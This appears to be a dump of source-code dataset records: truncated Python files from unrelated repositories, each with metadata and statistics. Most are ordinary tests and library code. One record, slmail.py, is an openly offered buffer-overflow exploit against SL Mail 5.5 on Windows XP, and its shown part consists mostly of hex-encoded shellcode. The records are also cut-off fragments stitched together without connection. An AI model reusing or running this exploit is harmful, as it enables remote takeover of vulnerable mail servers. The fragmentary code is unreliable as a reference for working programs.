b40cc5c79c9047e9c6ffb439cdd3b68057380694 | 20,547 | py | Python | app/rest/tests.py | tuzib/gitstack | 5a0fedf05f9ebeb09995050510f05245b2cff4ca | [
"Apache-2.0"
] | 50 | 2015-01-13T10:01:41.000Z | 2021-10-15T01:44:43.000Z | app/rest/tests.py | tuzib/gitstack | 5a0fedf05f9ebeb09995050510f05245b2cff4ca | [
"Apache-2.0"
] | 20 | 2015-04-20T12:09:12.000Z | 2022-03-12T01:25:04.000Z | app/rest/tests.py | tuzib/gitstack | 5a0fedf05f9ebeb09995050510f05245b2cff4ca | [
"Apache-2.0"
] | 24 | 2015-07-22T08:08:54.000Z | 2021-12-28T06:56:09.000Z | from gitstack.models import Repository, Group
from django.test import TestCase
from django.test.client import Client
import time, json, os, shutil
from django.conf import settings
'''
For ldap test, use the following parameters :
ldaphost = 192.168.1.54
ldapbasedn = CN=Users,DC=contoso,DC=com
ldapbinddn = CN=john,CN=... | 47.5625 | 686 | 0.619263 | 2,449 | 20,547 | 5.082074 | 0.077991 | 0.112084 | 0.060582 | 0.07874 | 0.796963 | 0.769243 | 0.741684 | 0.709465 | 0.68986 | 0.661176 | 0 | 0.026402 | 0.198131 | 20,547 | 431 | 687 | 47.672854 | 0.729 | 0.117535 | 0 | 0.497608 | 0 | 0.043062 | 0.356871 | 0.162156 | 0 | 0 | 0 | 0 | 0.444976 | 1 | 0.181818 | false | 0.062201 | 0.023923 | 0 | 0.210526 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
b445a9edb01ecf4246ecfaa29c5ebb1d901934df | 175 | py | Python | src/train/__init__.py | asd249180/similarity_and_matching | 225cbc4850a790a37ea18d4c519a4306e9db3590 | [
"Apache-2.0"
] | null | null | null | src/train/__init__.py | asd249180/similarity_and_matching | 225cbc4850a790a37ea18d4c519a4306e9db3590 | [
"Apache-2.0"
] | null | null | null | src/train/__init__.py | asd249180/similarity_and_matching | 225cbc4850a790a37ea18d4c519a4306e9db3590 | [
"Apache-2.0"
] | null | null | null | from src.train.classification_model_trainer import ClassificationModelTrainer
from src.train.frank_model_trainer import FrankModelTrainer
from src.train.trainer import Trainer | 58.333333 | 77 | 0.902857 | 22 | 175 | 7 | 0.454545 | 0.136364 | 0.233766 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.062857 | 175 | 3 | 78 | 58.333333 | 0.939024 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
b453de8838efb91b5ed4fe138259a5da2254e951 | 2,394 | py | Python | slmail.py | guilhermej/buffer_overflow | da67fccdc917c7b36983576d641a69ea38e34569 | [
"MIT"
] | 5 | 2016-06-14T02:13:12.000Z | 2021-11-08T08:56:18.000Z | slmail.py | guilhermej/buffer_overflow | da67fccdc917c7b36983576d641a69ea38e34569 | [
"MIT"
] | null | null | null | slmail.py | guilhermej/buffer_overflow | da67fccdc917c7b36983576d641a69ea38e34569 | [
"MIT"
] | null | null | null | # Buffer overflow script in Python 3 to SL Mail 5.5 in Win XP #
# Guilherme Junqueira <contato@solyd.com.br> #
# https://solyd.com.br #
#################################################################
import socket
# Shellcode
buf = b""
buf += b"\xba\xb5\xf9\xb2\x1c\xda\xcf\xd9\x74\x24\xf4\x5d\x33"
b... | 43.527273 | 65 | 0.650376 | 517 | 2,394 | 3.007737 | 0.468085 | 0.074598 | 0.025723 | 0.036013 | 0.050161 | 0.050161 | 0.039871 | 0.02701 | 0 | 0 | 0 | 0.211005 | 0.081454 | 2,394 | 54 | 66 | 44.333333 | 0.496135 | 0.079783 | 0 | 0.093023 | 0 | 0.627907 | 0.693791 | 0.660395 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | false | 0.046512 | 0.023256 | 0 | 0.023256 | 0.116279 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
b4759afcefa5b30e8b7e0b46e3cd7c286168039c | 11,318 | py | Python | nslsii/tests/test_logutils.py | dmgav/nslsii | 9cd77e0aa24d59fddf534948b9b97dacb0832ed2 | [
"BSD-3-Clause"
] | null | null | null | nslsii/tests/test_logutils.py | dmgav/nslsii | 9cd77e0aa24d59fddf534948b9b97dacb0832ed2 | [
"BSD-3-Clause"
] | null | null | null | nslsii/tests/test_logutils.py | dmgav/nslsii | 9cd77e0aa24d59fddf534948b9b97dacb0832ed2 | [
"BSD-3-Clause"
] | null | null | null | import io
import os
import logging
from pathlib import Path
import shutil
import stat
from unittest.mock import MagicMock
import appdirs
import IPython.core.interactiveshell
import pytest
from nslsii import configure_bluesky_logging, configure_ipython_logging
from nslsii.common.ipynb.logutils import log_exception
d... | 34.824615 | 84 | 0.740237 | 1,540 | 11,318 | 5.125974 | 0.093506 | 0.092222 | 0.114264 | 0.061186 | 0.878389 | 0.843805 | 0.820623 | 0.797061 | 0.789967 | 0.782366 | 0 | 0.000215 | 0.176445 | 11,318 | 324 | 85 | 34.932099 | 0.84669 | 0.166195 | 0 | 0.7 | 0 | 0 | 0.103265 | 0.018223 | 0 | 0 | 0 | 0 | 0.14 | 1 | 0.075 | false | 0 | 0.06 | 0 | 0.135 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
b484b4a94a0b0daa647be22fde8cdabfb97491d6 | 4,902 | py | Python | zenhan/converter2.py | tokibito/zenhan-py | 5a7b7638639e5050be145add7bb9759d2b9ab15c | [
"MIT"
] | 1 | 2019-10-03T02:41:13.000Z | 2019-10-03T02:41:13.000Z | zenhan/converter2.py | tokibito/zenhan-py | 5a7b7638639e5050be145add7bb9759d2b9ab15c | [
"MIT"
] | null | null | null | zenhan/converter2.py | tokibito/zenhan-py | 5a7b7638639e5050be145add7bb9759d2b9ab15c | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from . import _Converter
class Converter(_Converter):
def __init__(self):
self.z_ascii = (
u"a", u"b", u"c", u"d", u"e", u"f", u"g", u"h", u"i",
u"j", u"k", u"l", u"m", u"n", u"o", u"p", u"q", u"r",
u"s", u"t", u"u", u"v", u"w", u"x", u"y", u"z",... | 40.180328 | 77 | 0.306814 | 859 | 4,902 | 1.692666 | 0.207218 | 0.100413 | 0.129986 | 0.145805 | 0.795736 | 0.751719 | 0.751719 | 0.742091 | 0.736589 | 0.665062 | 0 | 0.008732 | 0.415953 | 4,902 | 121 | 78 | 40.512397 | 0.504366 | 0.004284 | 0 | 0.230769 | 0 | 0 | 0.099816 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.028846 | false | 0.019231 | 0.009615 | 0 | 0.067308 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
81ef2526d02528cb6eb3ea1f462bdc64f83b0bba | 10,566 | py | Python | unitTests/testScripts/TestRandom.py | faichele/NumCpp | 7c8fc50fbe44b80eaa105f0f9258120abddfcec2 | [
"MIT"
] | 1 | 2020-06-05T22:47:00.000Z | 2020-06-05T22:47:00.000Z | unitTests/testScripts/TestRandom.py | lamarrr/NumCpp | a24328e9d8dc472607a09ba50419baf21b1d3142 | [
"MIT"
] | null | null | null | unitTests/testScripts/TestRandom.py | lamarrr/NumCpp | a24328e9d8dc472607a09ba50419baf21b1d3142 | [
"MIT"
] | null | null | null | import numpy as np
from termcolor import colored
import sys
if sys.platform == 'linux':
sys.path.append(r'../lib')
else:
sys.path.append(r'../build/x64/Release')
import NumCpp
####################################################################################
def doTest():
print(colored('Testing Random Mo... | 39.573034 | 86 | 0.622374 | 1,340 | 10,566 | 4.901493 | 0.095522 | 0.087698 | 0.100487 | 0.10475 | 0.809531 | 0.806638 | 0.788368 | 0.743605 | 0.660018 | 0.610536 | 0 | 0.037774 | 0.168181 | 10,566 | 266 | 87 | 39.721805 | 0.709523 | 0.009938 | 0 | 0.570796 | 0 | 0 | 0.11069 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.004425 | false | 0.146018 | 0.017699 | 0 | 0.022124 | 0.29646 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
81f17245a1561f9b3320d761b7f0be1b1da1c1b5 | 15,691 | py | Python | tests/utils/test_image_volume.py | JackToppen/deep-hipsc-tracking | 9d7e07814f26e3f76603bba1a945ae05e88733db | [
"BSD-3-Clause"
] | 2 | 2021-05-19T02:10:04.000Z | 2021-05-27T01:26:54.000Z | tests/utils/test_image_volume.py | JackToppen/deep-hipsc-tracking | 9d7e07814f26e3f76603bba1a945ae05e88733db | [
"BSD-3-Clause"
] | 1 | 2021-05-17T23:17:32.000Z | 2021-05-19T15:17:21.000Z | tests/utils/test_image_volume.py | JackToppen/deep-hipsc-tracking | 9d7e07814f26e3f76603bba1a945ae05e88733db | [
"BSD-3-Clause"
] | 1 | 2021-05-17T22:51:17.000Z | 2021-05-17T22:51:17.000Z | # Standard lib
import pathlib
# 3rd party
from PIL import Image
import numpy as np
# Our own imports
from deep_hipsc_tracking.utils import (
image_volume, load_image, save_image)
from .. import helpers
# Tests
class TestFindImageVolumes(helpers.FileSystemTestCase):
def make_image_file(self, image_file: ... | 33.527778 | 99 | 0.618444 | 2,182 | 15,691 | 4.247021 | 0.087534 | 0.068199 | 0.039279 | 0.030862 | 0.885292 | 0.865544 | 0.848063 | 0.797345 | 0.780404 | 0.755261 | 0 | 0.051524 | 0.257855 | 15,691 | 467 | 100 | 33.599572 | 0.744268 | 0.042317 | 0 | 0.673759 | 0 | 0 | 0.026818 | 0 | 0 | 0 | 0 | 0 | 0.258865 | 1 | 0.078014 | false | 0 | 0.017731 | 0 | 0.120567 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
5ee1bae2a9a8c18cf555062b2b92b54788019cf7 | 7,412 | py | Python | saleor/graphql/app/tests/mutations/test_app_retry_install.py | shannenye/saleor | f6a2d35fd8ae8d614edd952cd5c58adb82e56ab2 | [
"CC-BY-4.0"
] | 2 | 2021-01-31T00:28:42.000Z | 2021-01-31T12:30:46.000Z | saleor/graphql/app/tests/mutations/test_app_retry_install.py | shannenye/saleor | f6a2d35fd8ae8d614edd952cd5c58adb82e56ab2 | [
"CC-BY-4.0"
] | 27 | 2022-02-14T04:30:10.000Z | 2022-03-28T04:56:33.000Z | saleor/graphql/app/tests/mutations/test_app_retry_install.py | shannenye/saleor | f6a2d35fd8ae8d614edd952cd5c58adb82e56ab2 | [
"CC-BY-4.0"
] | 3 | 2021-02-22T16:37:18.000Z | 2021-02-22T18:56:28.000Z | from unittest.mock import Mock
import graphene
from .....app.models import AppInstallation
from .....core import JobStatus
from ....core.enums import AppErrorCode
from ....tests.utils import get_graphql_content
RETRY_INSTALL_APP_MUTATION = """
mutation AppRetryInstall(
$id: ID!, $activate_after_installat... | 32.942222 | 88 | 0.719374 | 820 | 7,412 | 6.12561 | 0.112195 | 0.179176 | 0.068087 | 0.045789 | 0.856858 | 0.839936 | 0.811268 | 0.811268 | 0.806888 | 0.806888 | 0 | 0.000498 | 0.187804 | 7,412 | 224 | 89 | 33.089286 | 0.833887 | 0 | 0 | 0.695431 | 0 | 0 | 0.165273 | 0.059903 | 0 | 0 | 0 | 0 | 0.116751 | 1 | 0.025381 | false | 0 | 0.030457 | 0 | 0.055838 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
5eedba263f1239dc6e9f853b5a671813dc4c8c30 | 4,892 | py | Python | database/hdt_file_connector.py | RomainDuclos/sage-engine | 333997c658ea44e643bed636c5297e5e998ef97c | [
"MIT"
] | null | null | null | database/hdt_file_connector.py | RomainDuclos/sage-engine | 333997c658ea44e643bed636c5297e5e998ef97c | [
"MIT"
] | null | null | null | database/hdt_file_connector.py | RomainDuclos/sage-engine | 333997c658ea44e643bed636c5297e5e998ef97c | [
"MIT"
] | null | null | null | # hdt_file_connector.py
# Author: Thomas MINIER - MIT License 2017-2018
from hdt import HDTDocument
from database.db_connector import DatabaseConnector
import os.path
class HDTFileConnector(DatabaseConnector):
"""A HDTFileConnector search for RDF triples in a HDT file"""
def __init__(self, file):
super(Cassandra... | 40.098361 | 129 | 0.638185 | 609 | 4,892 | 5.027915 | 0.233169 | 0.025147 | 0.042456 | 0.035271 | 0.778903 | 0.772044 | 0.772044 | 0.772044 | 0.772044 | 0.772044 | 0 | 0.015193 | 0.246525 | 4,892 | 121 | 130 | 40.429752 | 0.815518 | 0.499387 | 0 | 0.242424 | 0 | 0 | 0.048334 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.090909 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
6f24f8b391be71c87b61ef59ebeb1389f9660a54 | 690 | py | Python | temboo/core/Library/Box/Users/__init__.py | jordanemedlock/psychtruths | 52e09033ade9608bd5143129f8a1bfac22d634dd | [
"Apache-2.0"
] | 7 | 2016-03-07T02:07:21.000Z | 2022-01-21T02:22:41.000Z | temboo/core/Library/Box/Users/__init__.py | jordanemedlock/psychtruths | 52e09033ade9608bd5143129f8a1bfac22d634dd | [
"Apache-2.0"
] | null | null | null | temboo/core/Library/Box/Users/__init__.py | jordanemedlock/psychtruths | 52e09033ade9608bd5143129f8a1bfac22d634dd | [
"Apache-2.0"
] | 8 | 2016-06-14T06:01:11.000Z | 2020-04-22T09:21:44.000Z | from temboo.Library.Box.Users.CreateUser import CreateUser, CreateUserInputSet, CreateUserResultSet, CreateUserChoreographyExecution
from temboo.Library.Box.Users.DeleteUser import DeleteUser, DeleteUserInputSet, DeleteUserResultSet, DeleteUserChoreographyExecution
from temboo.Library.Box.Users.GetAllUsers import GetAl... | 115 | 152 | 0.898551 | 55 | 690 | 11.272727 | 0.472727 | 0.080645 | 0.137097 | 0.16129 | 0.201613 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.050725 | 690 | 5 | 153 | 138 | 0.946565 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 1 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
6f466053e71319eca841537b18f18e66a60e848b | 16,406 | py | Python | kornia/augmentation/functional3d.py | pmeier/kornia | 57f5aeb605d0c69de88a0a1aa1563cee52d4bfaf | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | kornia/augmentation/functional3d.py | pmeier/kornia | 57f5aeb605d0c69de88a0a1aa1563cee52d4bfaf | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | kornia/augmentation/functional3d.py | pmeier/kornia | 57f5aeb605d0c69de88a0a1aa1563cee52d4bfaf | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | from typing import Tuple, List, Union, Dict, cast, Optional
import torch
from . import random_generator as rg
from .utils import _transform_input3d, _validate_input_dtype
from kornia.constants import Resample, BorderType, pi
from kornia.geometry.transform.affwarp import (
_compute_rotation_matrix3d, _compute_tens... | 44.340541 | 114 | 0.631781 | 2,194 | 16,406 | 4.617138 | 0.092069 | 0.105331 | 0.01155 | 0.009477 | 0.817572 | 0.805429 | 0.805429 | 0.802665 | 0.791214 | 0.788055 | 0 | 0.019 | 0.236499 | 16,406 | 369 | 115 | 44.460705 | 0.789717 | 0.459588 | 0 | 0.515924 | 0 | 0 | 0.02765 | 0 | 0 | 0 | 0 | 0.00813 | 0 | 1 | 0.082803 | false | 0 | 0.050955 | 0 | 0.216561 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
6f4dd11d1a516082595d565269ee3cad762bb239 | 32 | py | Python | atlas/foundations_atlas_cli/src/test/__init__.py | DeepLearnI/atlas | 8aca652d7e647b4e88530b93e265b536de7055ed | [
"Apache-2.0"
] | 296 | 2020-03-16T19:55:00.000Z | 2022-01-10T19:46:05.000Z | atlas/foundations_atlas_cli/src/test/__init__.py | DeepLearnI/atlas | 8aca652d7e647b4e88530b93e265b536de7055ed | [
"Apache-2.0"
] | 57 | 2020-03-17T11:15:57.000Z | 2021-07-10T14:42:27.000Z | atlas/foundations_atlas_cli/src/test/__init__.py | DeepLearnI/atlas | 8aca652d7e647b4e88530b93e265b536de7055ed | [
"Apache-2.0"
] | 38 | 2020-03-17T21:06:05.000Z | 2022-02-08T03:19:34.000Z |
from test.sub_parsers import *
| 10.666667 | 30 | 0.78125 | 5 | 32 | 4.8 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.15625 | 32 | 2 | 31 | 16 | 0.888889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
6f79723982314febbbff0f544e389d22d670dba1 | 31 | py | Python | src/tap/share/multiproc/__init__.py | lmmx/tap | d60ce0ec9b4b0545b5ed2b3dfeea956457999b8d | [
"MIT"
] | null | null | null | src/tap/share/multiproc/__init__.py | lmmx/tap | d60ce0ec9b4b0545b5ed2b3dfeea956457999b8d | [
"MIT"
] | 19 | 2021-02-15T23:18:35.000Z | 2021-11-04T11:32:40.000Z | src/tap/share/multiproc/__init__.py | lmmx/tap | d60ce0ec9b4b0545b5ed2b3dfeea956457999b8d | [
"MIT"
] | null | null | null | from .multiproc_utils import *
| 15.5 | 30 | 0.806452 | 4 | 31 | 6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.129032 | 31 | 1 | 31 | 31 | 0.888889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
48c7fa70d5bccb58439e3882800030ffd88309d2 | 9 | py | Python | tests/snippets/types.py | OddBloke/RustPython | a40ef57ba4dddc18f9f5a9ba5224203f4a983ed6 | [
"MIT"
] | 112 | 2017-01-19T07:58:19.000Z | 2022-02-10T12:58:01.000Z | tests/snippets/types.py | OddBloke/RustPython | a40ef57ba4dddc18f9f5a9ba5224203f4a983ed6 | [
"MIT"
] | 20 | 2016-10-29T16:01:31.000Z | 2018-05-28T20:10:46.000Z | tests/snippets/types.py | OddBloke/RustPython | a40ef57ba4dddc18f9f5a9ba5224203f4a983ed6 | [
"MIT"
] | 7 | 2017-05-10T19:31:08.000Z | 2018-12-24T03:05:48.000Z | ['a', 1]
| 4.5 | 8 | 0.222222 | 2 | 9 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 0.222222 | 9 | 1 | 9 | 9 | 0.142857 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
48d0657b6697e9957338297002e763053f42c998 | 30 | py | Python | mogwai/relationships/__init__.py | elubow/mogwai | 7c1efe71939e42d17346f306e2b1105c6f78b3a0 | [
"Apache-2.0"
] | 43 | 2015-09-17T14:13:17.000Z | 2017-06-18T17:45:40.000Z | mogwai/relationships/__init__.py | elubow/mogwai | 7c1efe71939e42d17346f306e2b1105c6f78b3a0 | [
"Apache-2.0"
] | 20 | 2015-09-17T17:25:16.000Z | 2020-04-20T15:17:43.000Z | mogwai/relationships/__init__.py | elubow/mogwai | 7c1efe71939e42d17346f306e2b1105c6f78b3a0 | [
"Apache-2.0"
] | 13 | 2015-10-12T09:35:43.000Z | 2022-01-10T23:55:12.000Z | from .base import Relationship | 30 | 30 | 0.866667 | 4 | 30 | 6.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1 | 30 | 1 | 30 | 30 | 0.962963 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
48d0a3f8b3f9191b13f684bb2de62756d2b83f71 | 11,050 | py | Python | core/tests/test_build.py | johnpooch/diplomacy | 567db5c5cfefa99f176bacbfe469977474aa8a86 | [
"MIT"
] | 1 | 2020-07-21T18:10:29.000Z | 2020-07-21T18:10:29.000Z | core/tests/test_build.py | johnpooch/diplomacy | 567db5c5cfefa99f176bacbfe469977474aa8a86 | [
"MIT"
] | 142 | 2020-04-07T17:36:34.000Z | 2021-06-07T00:20:47.000Z | core/tests/test_build.py | johnpooch/diplomacy | 567db5c5cfefa99f176bacbfe469977474aa8a86 | [
"MIT"
] | 3 | 2018-08-30T08:58:27.000Z | 2021-02-28T03:34:26.000Z | from django.test import TestCase
from core import factories, models
from core.game import update_turn
from core.models.base import OrderType, Phase, PieceType, Season
class TestBuild(TestCase):
def setUp(self):
self.variant = factories.VariantFactory()
self.user = factories.UserFactory()
... | 31.039326 | 77 | 0.547059 | 1,022 | 11,050 | 5.793542 | 0.106654 | 0.103192 | 0.05472 | 0.078027 | 0.808309 | 0.788887 | 0.778078 | 0.771491 | 0.771491 | 0.771491 | 0 | 0.001847 | 0.363077 | 11,050 | 355 | 78 | 31.126761 | 0.839443 | 0.008597 | 0 | 0.646884 | 0 | 0 | 0.02027 | 0 | 0 | 0 | 0 | 0 | 0.047478 | 1 | 0.038576 | false | 0 | 0.011869 | 0 | 0.053412 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
48fb217cf8a6365027f9c4967ba249ab995a0049 | 204 | py | Python | about/views.py | vstdy0/django-project | 53308f6a53fce6ec27ba5942c30e41ad8f04cabc | [
"MIT"
] | null | null | null | about/views.py | vstdy0/django-project | 53308f6a53fce6ec27ba5942c30e41ad8f04cabc | [
"MIT"
] | null | null | null | about/views.py | vstdy0/django-project | 53308f6a53fce6ec27ba5942c30e41ad8f04cabc | [
"MIT"
] | null | null | null | from django.views.generic.base import TemplateView
class AboutAuthorView(TemplateView):
template_name = 'about/about.html'
class AboutTechView(TemplateView):
template_name = 'about/tech.html'
| 20.4 | 50 | 0.779412 | 23 | 204 | 6.826087 | 0.652174 | 0.254777 | 0.305732 | 0.369427 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.127451 | 204 | 9 | 51 | 22.666667 | 0.882022 | 0 | 0 | 0 | 0 | 0 | 0.151961 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.2 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
5b207dce25430f21002c8bf0238fa59883c89349 | 337 | py | Python | pkg/arithmetic/arithmetic.py | ajaymache/travis-ci-with-github | b18cdfaca659a6a0e0c582afebadf5d2ea1b8b8b | [
"MIT"
] | 6 | 2018-04-20T06:32:54.000Z | 2020-10-08T20:24:37.000Z | pkg/arithmetic/arithmetic.py | ajaymache/travis-ci-with-github | b18cdfaca659a6a0e0c582afebadf5d2ea1b8b8b | [
"MIT"
] | null | null | null | pkg/arithmetic/arithmetic.py | ajaymache/travis-ci-with-github | b18cdfaca659a6a0e0c582afebadf5d2ea1b8b8b | [
"MIT"
] | 10 | 2018-04-20T06:32:56.000Z | 2021-09-24T20:54:35.000Z | class arithmetic:
def __init__(self):
pass
def add(self, x: int, y: int) -> int:
return x + y
def sub(self, x: int, y: int) -> int:
return x - y
def mul(self, x: int, y: int) -> int:
return x * y
def div(self, x: int, y: int) -> float:
... | 21.0625 | 43 | 0.451039 | 50 | 337 | 2.96 | 0.3 | 0.135135 | 0.216216 | 0.243243 | 0.608108 | 0.527027 | 0.527027 | 0.527027 | 0.527027 | 0.527027 | 0 | 0 | 0.418398 | 337 | 16 | 44 | 21.0625 | 0.755102 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.454545 | false | 0.090909 | 0 | 0.363636 | 0.909091 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 6 |
d2c4fd1bcde5ede7d605b5ac222430e4416c821f | 5,661 | py | Python | source/util/util_module/point_module.py | NewLanded/future_picture | 7b4cade6015d0779e8f71fd7f0c88f3a609f9572 | [
"MIT"
] | null | null | null | source/util/util_module/point_module.py | NewLanded/future_picture | 7b4cade6015d0779e8f71fd7f0c88f3a609f9572 | [
"MIT"
] | null | null | null | source/util/util_module/point_module.py | NewLanded/future_picture | 7b4cade6015d0779e8f71fd7f0c88f3a609f9572 | [
"MIT"
] | null | null | null | from source.util.util_base.date_util import get_interval_date_list_by_freq_code, adjust_interval_date_list_by_exists_date, adjust_interval_all_date_list_by_exists_date
from source.util.util_data.point_data import PointData
def _get_high_low_point(interval_point_data):
